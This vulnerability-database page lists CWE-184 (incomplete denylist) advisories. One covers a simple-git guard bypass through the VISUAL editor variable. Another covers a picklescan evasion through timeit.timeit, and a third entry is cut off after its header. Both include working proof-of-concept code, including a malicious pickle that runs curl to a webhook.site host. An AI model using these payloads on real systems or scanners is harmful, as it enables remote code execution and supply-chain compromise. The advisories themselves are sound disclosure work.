Common Weakness Enumeration

CWE-184

Allowed

Incomplete List of Disallowed Inputs

Abstraction: Base · Status: Draft

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

451 vulnerabilities reference this CWE, most recent first.

GHSA-V5RQ-49VH-5V5C

Vulnerability from github – Published: 2026-10-05 23:48 – Updated: 2026-10-05 23:48
VLAI
Summary
simple-git: `VISUAL` editor environment variable is omitted from unsafe editor detection
Details

Security control bypass in @simple-git/argv-parser: Git's VISUAL editor fallback is not classified as allowUnsafeEditor

Report metadata

Field Value
Package @simple-git/argv-parser (npm, pkg:npm/%40simple-git/argv-parser)
Repository https://github.com/steveukx/git-js
Component parseEnv (packages/argv-parser/src/env/parse-env.ts), reached via vulnerabilityCheck(tokens, env)
Vulnerability class Security-control bypass — incomplete denylist in unsafe-editor detection
Verified against c427fbad33f1f2b11341f1cf852eedecbb106400 (@simple-git/argv-parser 1.1.1), plus the published npm artifact 1.1.1; main at 98864c6 observed still unpatched
API surface Public documented API (parseEnv(raw) / vulnerabilityCheck(tokens, env))
Affected in default configuration Yes — reproduced with blockUnsafeOperationsPlugin under default options, with no unsafe allowances enabled

Summary

GitEnvKeys in packages/argv-parser/src/env/parse-env.ts maps only editor, git_editor and git_sequence_editor to the allowUnsafeEditor category. prepareEnv keeps an environment entry only when its lowercased name is a known GitEnvKey or starts with git, so VISUAL is discarded before collectConfigVulnerabilities ever inspects it. Git, however, falls back to VISUAL when resolving an editor, so parseEnv({ VISUAL: '/tmp/evileditor' }) reports no vulnerability while an interactive Git operation will execute that binary.

In a consuming application the shape is: environment values derived from a request or job are forwarded into the child Git environment and classified by this parser before spawn. The parser exists to classify exactly such values, and the equivalent EDITOR or GIT_EDITOR value is rejected — so the attacker gains an editor substitution that the guard is specifically designed to block.

  • EDITOR -> classified allowUnsafeEditor (GitEnvKeys, lines 5-27)
  • GIT_EDITOR -> classified allowUnsafeEditor (GitEnvKeys, lines 5-27)
  • GIT_SEQUENCE_EDITOR -> classified allowUnsafeEditor (GitEnvKeys, lines 5-27)
  • VISUAL -> absent from GitEnvKeys; dropped by prepareEnv, lines 60-68 — no vulnerability emitted

Impact

A consuming application that allows attacker-influenced environment values can have an attacker-selected executable launched by Git during operations such as git commit --amend, bypassing the parser's default unsafe-editor protection. Execution happens as the host user running the Git child process, with the attacker's binary invoked against the repository's editor file (for example .git/COMMIT_EDITMSG, or .git/rebase-merge/git-rebase-todo for git rebase -i).

The new capability is the bypass itself: without this gap, the same attacker-supplied value under EDITOR, GIT_EDITOR or GIT_SEQUENCE_EDITOR is refused unless the consumer explicitly opts in to allowUnsafeEditor. With VISUAL, the equivalent code execution proceeds with no opt-in and no reported vulnerability. VISUAL also takes precedence over EDITOR, the variable the parser does flag.

Scoring note: no CVSS vector or score is available for this finding, and one is not asserted here. Exploitability depends on the consuming application's data flow — specifically whether attacker-influenced environment entries reach the Git child environment. Consumers that never forward untrusted environment values into Git, or that always set a higher-priority GIT_EDITOR or core.editor, are not affected.

Preconditions

  1. The consumer forwards attacker-influenced environment entries into the environment passed to child Git (for example via simple-git's .env()), and classifies them with this parser before spawn.
  2. The Git command opens an editor — for example commit without -m, commit --amend, or rebase -i.
  3. No higher-priority editor setting overrides VISUAL: GIT_EDITOR, core.editor and EDITOR are absent (GIT_EDITOR and core.editor take precedence; VISUAL itself overrides EDITOR).
  4. TERM is set to a value other than exactly dumb — Git consults VISUAL only then. TERM is neither a GitEnvKey nor git-prefixed, so an attacker who controls the environment object supplies it too and the parser reports nothing for it either.
  5. The attacker-selected executable exists and is runnable on the host.

This requires no non-standard usage, no monkey-patching and no unusual configuration: the affected path is the documented, default-enabled guard. docs/PLUGIN-UNSAFE-ACTIONS.md ("Text editor") documents this control as covering editor environment variables that substitute an arbitrary binary, but lists only EDITOR, GIT_EDITOR and GIT_SEQUENCE_EDITOR; Git's VISUAL fallback is not mentioned, and the string visual does not appear anywhere in the repository at the verified commit. The docs do state that supplying environment values is the caller's responsibility, but they do not warn that VISUAL is outside the guard.

The feed payload's precondition list also carries entries relating to a separate GIT_CONFIG_PARAMETERS / allowUnsafeConfigEnvCount config-injection scenario. Those were not needed here: the bypass was reproduced with default options and no unsafe allowances enabled.

Data flow

  1. Source — the attacker-influenced raw environment object enters the public parser entry point: parseEnv(raw) (packages/argv-parser/src/env/parse-env.ts:70).
  2. Propagation — prepareEnv lowercases keys and retains only known GitEnvKeys or names starting with git; visual is neither, so the entry is dropped before any analysis sees it (packages/argv-parser/src/env/parse-env.ts:60-68).
  3. Sink — collectConfigVulnerabilities therefore never emits allowUnsafeEditor for VISUAL, and vulnerabilityCheck(tokens, env) returns an empty list (packages/argv-parser/src/env/parse-env.ts:45-54).
  4. Reachability — simple-git's blockUnsafeOperationsPlugin passes its environment into vulnerabilityCheck before spawn; an empty vulnerability list means the Git child process is allowed to start (simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts:12-20).

Vulnerable code

packages/argv-parser/src/env/parse-env.ts, lines 5-27 at c427fbad33f1f2b11341f1cf852eedecbb106400:

const GitEnvKeys = {
   'editor': 'allowUnsafeEditor',
   // ...
   'git_editor': 'allowUnsafeEditor',
   // ...
   'git_sequence_editor': 'allowUnsafeEditor',
   // VISUAL missing
} as const satisfies Record<string, VulnerabilityCategory>;

The three mapped keys are the safe siblings; the missing visual entry is the gap. Because prepareEnv (lines 60-68) filters on this map plus a git prefix, the omission is not merely a missing classification — the value never reaches the classifier at all.

Reproduction

Verified — reproduced dynamically, end to end, against a checkout of c427fbad33f1f2b11341f1cf852eedecbb106400 (packages/argv-parser/package.json = 1.1.1) and against the published npm artifact 1.1.1.

Observed at the parser level (vitest PoC run against the repo):

  • parseEnv({ EDITOR }), parseEnv({ GIT_EDITOR }) and parseEnv({ GIT_SEQUENCE_EDITOR }) each yield one allowUnsafeEditor vulnerability.
  • parseEnv({ VISUAL: '/tmp/poc/evileditor' }) yields [] in every casing.
  • vulnerabilityCheck(['commit', '--amend'], { VISUAL }) — the exact call the spawn guard makes — returns [].
  • The published dist/index.cjs of 1.1.1 contains zero occurrences of visual; the same holds for the repository at the verified commit, including docs/PLUGIN-UNSAFE-ACTIONS.md.

Observed at the Git level (only VISUAL set, EDITOR and GIT_EDITOR unset): git var GIT_EDITOR returned the attacker path; git commit --amend executed the attacker script (marker written, commit subject rewritten); git rebase -i executed it for the rebase-todo as well. VISUAL also took precedence over EDITOR (EDITOR=/bin/true VISUAL=evil -> evil).

Observed end to end through the real spawn path (simple-git built from this commit, default options, no unsafe allowances): the EDITOR and GIT_EDITOR variants both threw GitPluginError — "Use of ... is not permitted without enabling allowUnsafeEditor" — with no execution. The VISUAL variant was not blocked: the plugin saw an empty vulnerability list, Git spawned, and the attacker-supplied editor executed as the host user against .git/COMMIT_EDITMSG, rewriting the commit message.

Minimal Git-level reproduction:

#!/bin/sh
set -e
rm -rf /tmp/visual-repo /tmp/GIT_VISUAL_POC /tmp/evileditor
mkdir /tmp/visual-repo && cd /tmp/visual-repo
git init -q
git config user.email a@a && git config user.name a
touch a && git add a && git commit -qm init
printf '#!/bin/sh\ntouch /tmp/GIT_VISUAL_POC\nexit 1\n' >/tmp/evileditor
chmod +x /tmp/evileditor
env -u EDITOR -u GIT_EDITOR VISUAL=/tmp/evileditor git commit --amend || true
test -e /tmp/GIT_VISUAL_POC && echo executed

Guard-level reproduction, using the public API:

import { vulnerabilityCheck } from '@simple-git/argv-parser';
import { spawnSync } from 'node:child_process';
const args = ['commit', '--amend'];
const env = { VISUAL: '/tmp/evileditor' };
if (vulnerabilityCheck(args, env).length === 0) spawnSync('git', args, { env });
  • Expected: parseEnv({ VISUAL: '/tmp/evileditor' }).vulnerabilities contains allowUnsafeEditor, and the spawn guard refuses the operation unless the consumer has enabled allowUnsafeEditor — the behaviour already applied to EDITOR, GIT_EDITOR and GIT_SEQUENCE_EDITOR.
  • Actual: no vulnerability is reported, the guard permits the spawn, and Git executes the attacker-selected binary.

Suggested remediation

Treat VISUAL as an editor source, so Git's own editor-resolution precedence is fully covered by the denylist.

const GitEnvKeys = {
   'editor': 'allowUnsafeEditor',
   'visual': 'allowUnsafeEditor',
   // ...
   'git_editor': 'allowUnsafeEditor',
   // ...
   'git_sequence_editor': 'allowUnsafeEditor',
} as const satisfies Record<string, VulnerabilityCategory>;

Because prepareEnv filters on GitEnvKeys membership, this single entry is enough to make visual survive filtering and be classified; no change to prepareEnv or collectConfigVulnerabilities is required.

Notes:

  • TERM is likewise neither a GitEnvKey nor git-prefixed, and it is the variable that decides whether Git consults VISUAL at all (TERM=dumb or unset means VISUAL is ignored). An attacker who controls the environment object supplies it alongside VISUAL; whether TERM warrants its own classification is a maintainer judgement call, but it is worth considering while fixing this.
  • git rebase -i reaches the same sink: git_sequence_editor falls back to normal editor resolution, so the VISUAL path executes the attacker binary against the rebase-todo file as well.
  • docs/PLUGIN-UNSAFE-ACTIONS.md ("Text editor") should list VISUAL alongside EDITOR / GIT_EDITOR / GIT_SEQUENCE_EDITOR, since the documented scope of the control is what consumers rely on.
  • Already safe and needing no change: EDITOR, GIT_EDITOR and GIT_SEQUENCE_EDITOR are all correctly classified and enforced by the plugin, and the parser's handling of git-prefixed variables is unaffected.

Suggested regression test alongside test/parse-env.spec.ts (which currently covers EDITOR / GIT_EDITOR / GIT_SEQUENCE_EDITOR / PAGER but has no VISUAL case): assert that parseEnv({ VISUAL: '/tmp/evileditor' }) yields one allowUnsafeEditor vulnerability in every casing, and that vulnerabilityCheck(['commit', '--amend'], { VISUAL: '/tmp/evileditor' }) returns that vulnerability rather than []. A precedence case is worth adding too: VISUAL set together with EDITOR must still be flagged, since VISUAL wins in Git's resolution order.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@simple-git/argv-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-102829"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T23:48:21Z",
    "nvd_published_at": "2026-09-29T19:17:25Z",
    "severity": "CRITICAL"
  },
  "details": "# Security control bypass in `@simple-git/argv-parser`: Git\u0027s `VISUAL` editor fallback is not classified as `allowUnsafeEditor`\n\n## Report metadata\n\n| Field | Value |\n| --- | --- |\n| Package | `@simple-git/argv-parser` (npm, `pkg:npm/%40simple-git/argv-parser`) |\n| Repository | https://github.com/steveukx/git-js |\n| Component | `parseEnv` (`packages/argv-parser/src/env/parse-env.ts`), reached via `vulnerabilityCheck(tokens, env)` |\n| Vulnerability class | Security-control bypass \u2014 incomplete denylist in unsafe-editor detection |\n| Verified against | `c427fbad33f1f2b11341f1cf852eedecbb106400` (`@simple-git/argv-parser` 1.1.1), plus the published npm artifact 1.1.1; `main` at `98864c6` observed still unpatched |\n| API surface | Public documented API (`parseEnv(raw)` / `vulnerabilityCheck(tokens, env)`) |\n| Affected in default configuration | Yes \u2014 reproduced with `blockUnsafeOperationsPlugin` under default options, with no unsafe allowances enabled |\n\n## Summary\n\n`GitEnvKeys` in `packages/argv-parser/src/env/parse-env.ts` maps only `editor`, `git_editor` and `git_sequence_editor` to the `allowUnsafeEditor` category. `prepareEnv` keeps an environment entry only when its lowercased name is a known `GitEnvKey` or starts with `git`, so `VISUAL` is discarded before `collectConfigVulnerabilities` ever inspects it. Git, however, falls back to `VISUAL` when resolving an editor, so `parseEnv({ VISUAL: \u0027/tmp/evileditor\u0027 })` reports no vulnerability while an interactive Git operation will execute that binary.\n\nIn a consuming application the shape is: environment values derived from a request or job are forwarded into the child Git environment and classified by this parser before spawn. The parser exists to classify exactly such values, and the equivalent `EDITOR` or `GIT_EDITOR` value is rejected \u2014 so the attacker gains an editor substitution that the guard is specifically designed to block.\n\n- `EDITOR` -\u003e classified `allowUnsafeEditor` (`GitEnvKeys`, lines 5-27)\n- `GIT_EDITOR` -\u003e classified `allowUnsafeEditor` (`GitEnvKeys`, lines 5-27)\n- `GIT_SEQUENCE_EDITOR` -\u003e classified `allowUnsafeEditor` (`GitEnvKeys`, lines 5-27)\n- `VISUAL` -\u003e **absent from `GitEnvKeys`; dropped by `prepareEnv`, lines 60-68 \u2014 no vulnerability emitted**\n\n## Impact\n\nA consuming application that allows attacker-influenced environment values can have an attacker-selected executable launched by Git during operations such as `git commit --amend`, bypassing the parser\u0027s default unsafe-editor protection. Execution happens as the host user running the Git child process, with the attacker\u0027s binary invoked against the repository\u0027s editor file (for example `.git/COMMIT_EDITMSG`, or `.git/rebase-merge/git-rebase-todo` for `git rebase -i`).\n\nThe new capability is the bypass itself: without this gap, the same attacker-supplied value under `EDITOR`, `GIT_EDITOR` or `GIT_SEQUENCE_EDITOR` is refused unless the consumer explicitly opts in to `allowUnsafeEditor`. With `VISUAL`, the equivalent code execution proceeds with no opt-in and no reported vulnerability. `VISUAL` also takes precedence over `EDITOR`, the variable the parser does flag.\n\nScoring note: no CVSS vector or score is available for this finding, and one is not asserted here. Exploitability depends on the consuming application\u0027s data flow \u2014 specifically whether attacker-influenced environment entries reach the Git child environment. Consumers that never forward untrusted environment values into Git, or that always set a higher-priority `GIT_EDITOR` or `core.editor`, are not affected.\n\n## Preconditions\n\n1. The consumer forwards attacker-influenced environment entries into the environment passed to child Git (for example via simple-git\u0027s `.env()`), and classifies them with this parser before spawn.\n2. The Git command opens an editor \u2014 for example `commit` without `-m`, `commit --amend`, or `rebase -i`.\n3. No higher-priority editor setting overrides `VISUAL`: `GIT_EDITOR`, `core.editor` and `EDITOR` are absent (`GIT_EDITOR` and `core.editor` take precedence; `VISUAL` itself overrides `EDITOR`).\n4. `TERM` is set to a value other than exactly `dumb` \u2014 Git consults `VISUAL` only then. `TERM` is neither a `GitEnvKey` nor `git`-prefixed, so an attacker who controls the environment object supplies it too and the parser reports nothing for it either.\n5. The attacker-selected executable exists and is runnable on the host.\n\nThis requires no non-standard usage, no monkey-patching and no unusual configuration: the affected path is the documented, default-enabled guard. `docs/PLUGIN-UNSAFE-ACTIONS.md` (\"Text editor\") documents this control as covering editor environment variables that substitute an arbitrary binary, but lists only `EDITOR`, `GIT_EDITOR` and `GIT_SEQUENCE_EDITOR`; Git\u0027s `VISUAL` fallback is not mentioned, and the string `visual` does not appear anywhere in the repository at the verified commit. The docs do state that supplying environment values is the caller\u0027s responsibility, but they do not warn that `VISUAL` is outside the guard.\n\nThe feed payload\u0027s precondition list also carries entries relating to a separate `GIT_CONFIG_PARAMETERS` / `allowUnsafeConfigEnvCount` config-injection scenario. Those were not needed here: the bypass was reproduced with default options and no unsafe allowances enabled.\n\n## Data flow\n\n1. **Source** \u2014 the attacker-influenced `raw` environment object enters the public parser entry point: `parseEnv(raw)` ([`packages/argv-parser/src/env/parse-env.ts:70`](https://github.com/steveukx/git-js/blob/c427fbad33f1f2b11341f1cf852eedecbb106400/packages/argv-parser/src/env/parse-env.ts#L70)).\n2. **Propagation** \u2014 `prepareEnv` lowercases keys and retains only known `GitEnvKeys` or names starting with `git`; `visual` is neither, so the entry is dropped before any analysis sees it ([`packages/argv-parser/src/env/parse-env.ts:60-68`](https://github.com/steveukx/git-js/blob/c427fbad33f1f2b11341f1cf852eedecbb106400/packages/argv-parser/src/env/parse-env.ts#L60-L68)).\n3. **Sink** \u2014 `collectConfigVulnerabilities` therefore never emits `allowUnsafeEditor` for `VISUAL`, and `vulnerabilityCheck(tokens, env)` returns an empty list ([`packages/argv-parser/src/env/parse-env.ts:45-54`](https://github.com/steveukx/git-js/blob/c427fbad33f1f2b11341f1cf852eedecbb106400/packages/argv-parser/src/env/parse-env.ts#L45-L54)).\n4. **Reachability** \u2014 simple-git\u0027s `blockUnsafeOperationsPlugin` passes its environment into `vulnerabilityCheck` before spawn; an empty vulnerability list means the Git child process is allowed to start ([`simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts:12-20`](https://github.com/steveukx/git-js/blob/c427fbad33f1f2b11341f1cf852eedecbb106400/simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts#L12-L20)).\n\n## Vulnerable code\n\n`packages/argv-parser/src/env/parse-env.ts`, lines 5-27 at `c427fbad33f1f2b11341f1cf852eedecbb106400`:\n\n```ts\nconst GitEnvKeys = {\n   \u0027editor\u0027: \u0027allowUnsafeEditor\u0027,\n   // ...\n   \u0027git_editor\u0027: \u0027allowUnsafeEditor\u0027,\n   // ...\n   \u0027git_sequence_editor\u0027: \u0027allowUnsafeEditor\u0027,\n   // VISUAL missing\n} as const satisfies Record\u003cstring, VulnerabilityCategory\u003e;\n```\n\nThe three mapped keys are the safe siblings; the missing `visual` entry is the gap. Because `prepareEnv` (lines 60-68) filters on this map plus a `git` prefix, the omission is not merely a missing classification \u2014 the value never reaches the classifier at all.\n\n## Reproduction\n\n**Verified** \u2014 reproduced dynamically, end to end, against a checkout of `c427fbad33f1f2b11341f1cf852eedecbb106400` (`packages/argv-parser/package.json` = 1.1.1) and against the published npm artifact 1.1.1.\n\nObserved at the parser level (vitest PoC run against the repo):\n\n- `parseEnv({ EDITOR })`, `parseEnv({ GIT_EDITOR })` and `parseEnv({ GIT_SEQUENCE_EDITOR })` each yield one `allowUnsafeEditor` vulnerability.\n- `parseEnv({ VISUAL: \u0027/tmp/poc/evileditor\u0027 })` yields `[]` in every casing.\n- `vulnerabilityCheck([\u0027commit\u0027, \u0027--amend\u0027], { VISUAL })` \u2014 the exact call the spawn guard makes \u2014 returns `[]`.\n- The published `dist/index.cjs` of 1.1.1 contains zero occurrences of `visual`; the same holds for the repository at the verified commit, including `docs/PLUGIN-UNSAFE-ACTIONS.md`.\n\nObserved at the Git level (only `VISUAL` set, `EDITOR` and `GIT_EDITOR` unset): `git var GIT_EDITOR` returned the attacker path; `git commit --amend` executed the attacker script (marker written, commit subject rewritten); `git rebase -i` executed it for the rebase-todo as well. `VISUAL` also took precedence over `EDITOR` (`EDITOR=/bin/true VISUAL=evil` -\u003e `evil`).\n\nObserved end to end through the real spawn path (simple-git built from this commit, default options, no unsafe allowances): the `EDITOR` and `GIT_EDITOR` variants both threw `GitPluginError` \u2014 \"Use of ... is not permitted without enabling allowUnsafeEditor\" \u2014 with no execution. The `VISUAL` variant was **not** blocked: the plugin saw an empty vulnerability list, Git spawned, and the attacker-supplied editor executed as the host user against `.git/COMMIT_EDITMSG`, rewriting the commit message.\n\nMinimal Git-level reproduction:\n\n```sh\n#!/bin/sh\nset -e\nrm -rf /tmp/visual-repo /tmp/GIT_VISUAL_POC /tmp/evileditor\nmkdir /tmp/visual-repo \u0026\u0026 cd /tmp/visual-repo\ngit init -q\ngit config user.email a@a \u0026\u0026 git config user.name a\ntouch a \u0026\u0026 git add a \u0026\u0026 git commit -qm init\nprintf \u0027#!/bin/sh\\ntouch /tmp/GIT_VISUAL_POC\\nexit 1\\n\u0027 \u003e/tmp/evileditor\nchmod +x /tmp/evileditor\nenv -u EDITOR -u GIT_EDITOR VISUAL=/tmp/evileditor git commit --amend || true\ntest -e /tmp/GIT_VISUAL_POC \u0026\u0026 echo executed\n```\n\nGuard-level reproduction, using the public API:\n\n```ts\nimport { vulnerabilityCheck } from \u0027@simple-git/argv-parser\u0027;\nimport { spawnSync } from \u0027node:child_process\u0027;\nconst args = [\u0027commit\u0027, \u0027--amend\u0027];\nconst env = { VISUAL: \u0027/tmp/evileditor\u0027 };\nif (vulnerabilityCheck(args, env).length === 0) spawnSync(\u0027git\u0027, args, { env });\n```\n\n- **Expected:** `parseEnv({ VISUAL: \u0027/tmp/evileditor\u0027 }).vulnerabilities` contains `allowUnsafeEditor`, and the spawn guard refuses the operation unless the consumer has enabled `allowUnsafeEditor` \u2014 the behaviour already applied to `EDITOR`, `GIT_EDITOR` and `GIT_SEQUENCE_EDITOR`.\n- **Actual:** no vulnerability is reported, the guard permits the spawn, and Git executes the attacker-selected binary.\n\n## Suggested remediation\n\nTreat `VISUAL` as an editor source, so Git\u0027s own editor-resolution precedence is fully covered by the denylist.\n\n```ts\nconst GitEnvKeys = {\n   \u0027editor\u0027: \u0027allowUnsafeEditor\u0027,\n   \u0027visual\u0027: \u0027allowUnsafeEditor\u0027,\n   // ...\n   \u0027git_editor\u0027: \u0027allowUnsafeEditor\u0027,\n   // ...\n   \u0027git_sequence_editor\u0027: \u0027allowUnsafeEditor\u0027,\n} as const satisfies Record\u003cstring, VulnerabilityCategory\u003e;\n```\n\nBecause `prepareEnv` filters on `GitEnvKeys` membership, this single entry is enough to make `visual` survive filtering and be classified; no change to `prepareEnv` or `collectConfigVulnerabilities` is required.\n\nNotes:\n\n- `TERM` is likewise neither a `GitEnvKey` nor `git`-prefixed, and it is the variable that decides whether Git consults `VISUAL` at all (`TERM=dumb` or unset means `VISUAL` is ignored). An attacker who controls the environment object supplies it alongside `VISUAL`; whether `TERM` warrants its own classification is a maintainer judgement call, but it is worth considering while fixing this.\n- `git rebase -i` reaches the same sink: `git_sequence_editor` falls back to normal editor resolution, so the `VISUAL` path executes the attacker binary against the rebase-todo file as well.\n- `docs/PLUGIN-UNSAFE-ACTIONS.md` (\"Text editor\") should list `VISUAL` alongside `EDITOR` / `GIT_EDITOR` / `GIT_SEQUENCE_EDITOR`, since the documented scope of the control is what consumers rely on.\n- Already safe and needing no change: `EDITOR`, `GIT_EDITOR` and `GIT_SEQUENCE_EDITOR` are all correctly classified and enforced by the plugin, and the parser\u0027s handling of `git`-prefixed variables is unaffected.\n\nSuggested regression test alongside `test/parse-env.spec.ts` (which currently covers `EDITOR` / `GIT_EDITOR` / `GIT_SEQUENCE_EDITOR` / `PAGER` but has no `VISUAL` case): assert that `parseEnv({ VISUAL: \u0027/tmp/evileditor\u0027 })` yields one `allowUnsafeEditor` vulnerability in every casing, and that `vulnerabilityCheck([\u0027commit\u0027, \u0027--amend\u0027], { VISUAL: \u0027/tmp/evileditor\u0027 })` returns that vulnerability rather than `[]`. A precedence case is worth adding too: `VISUAL` set together with `EDITOR` must still be flagged, since `VISUAL` wins in Git\u0027s resolution order.",
  "id": "GHSA-v5rq-49vh-5v5c",
  "modified": "2026-10-05T23:48:21Z",
  "published": "2026-10-05T23:48:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/steveukx/git-js/security/advisories/GHSA-v5rq-49vh-5v5c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102829"
    },
    {
      "type": "WEB",
      "url": "https://github.com/steveukx/git-js/pull/1201"
    },
    {
      "type": "WEB",
      "url": "https://github.com/steveukx/git-js/commit/68874c239f0c7a87f4a68c3d2c4a0d7c75bb27f4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/steveukx/git-js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/steveukx/git-js/releases/tag/@simple-git/argv-parser@2.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "simple-git: `VISUAL` editor environment variable is omitted from unsafe editor detection"
}

GHSA-V7X6-RV5Q-MHWC

Vulnerability from github – Published: 2025-04-07 19:37 – Updated: 2026-09-11 19:31
VLAI
Summary
Picklescan missing detection when calling built-in python library function timeit.timeit()
Details

Summary

Using timeit.timeit() function, which is a built-in python library function to execute remote pickle file.

Details

Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like timeit.timeit(). And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to timeit.timeit() function from timeit library in reduce method Then, inside reduce method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim. Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

  1. The attacker crafted a malicious pickle file using built-in python library function timeit.timeit()
import pickle
import timeit
class Payload(object):
    def __reduce__(self):
        return timeit.timeit, ('','import os; os.system("curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6")')
def create_payload():
  with open('payload.pickle', 'wb') as f:
    pickle.dump(Payload(), f)
create_payload()

Then the attacker will send this pickle file to the victim computer and maybe the victim load this pickle using pickle.load() 2. The victim will use picklescan library to check out if the received pickle file is malicious or not

picklescan -p payload.pickle
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
  1. Beliving that this pickle file is safe using modelscan, the victim then load this pickle file which will trigger timeit.timeit command to execute OS commands (in my example, it was curl command)
import pickle
def load_payload():
    with open('payload.pickle', 'rb') as f:
      pickle.load(f)
load_payload()

Impact

Severity: High

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Recommended Solution

I suggest adding timeit library to the unsafe globals blacklist.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-71351"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-07T19:37:21Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nUsing timeit.timeit() function, which is a built-in python library function to execute remote pickle file.\n\n### Details\nPickle\u2019s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like **timeit.timeit()**. And since timeit library wasn\u0027t inside unsafe globals blacklist, it may not raise red flag in the security scan.\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to **timeit.timeit()** function from timeit library in __reduce__ method\nThen, inside reduce method, the attacker import dangerous libarary like os and calling **os.system()** to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn\u0027t dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n1. The attacker crafted a malicious pickle file using built-in python library function timeit.timeit()\n```\nimport pickle\nimport timeit\nclass Payload(object):\n    def __reduce__(self):\n        return timeit.timeit, (\u0027\u0027,\u0027import os; os.system(\"curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6\")\u0027)\ndef create_payload():\n  with open(\u0027payload.pickle\u0027, \u0027wb\u0027) as f:\n    pickle.dump(Payload(), f)\ncreate_payload()\n```\nThen the attacker will send this pickle file to the victim computer and maybe the victim load this pickle using pickle.load()\n2. The victim will use picklescan library to check out if the received pickle file is malicious or not\n```\npicklescan -p payload.pickle\n----------- SCAN SUMMARY -----------\nScanned files: 1\nInfected files: 0\nDangerous globals: 0\n```\n3. Beliving that this pickle file is safe using modelscan, the victim then load this pickle file which will trigger timeit.timeit command to execute OS commands (in my example, it was curl command)\n```\nimport pickle\ndef load_payload():\n    with open(\u0027payload.pickle\u0027, \u0027rb\u0027) as f:\n      pickle.load(f)\nload_payload()\n```\n### Impact\nSeverity: High\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n### Recommended Solution\nI suggest adding timeit library to the unsafe globals blacklist.",
  "id": "GHSA-v7x6-rv5q-mhwc",
  "modified": "2026-09-11T19:31:13Z",
  "published": "2025-04-07T19:37:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-v7x6-rv5q-mhwc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71351"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/pull/40"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.25"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-timeit-timeit-detection-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan missing detection when calling built-in python library function timeit.timeit()"
}

GHSA-V8CR-9JRC-FWF9

Vulnerability from github – Published: 2026-07-04 15:30 – Updated: 2026-07-04 15:30
VLAI
Details

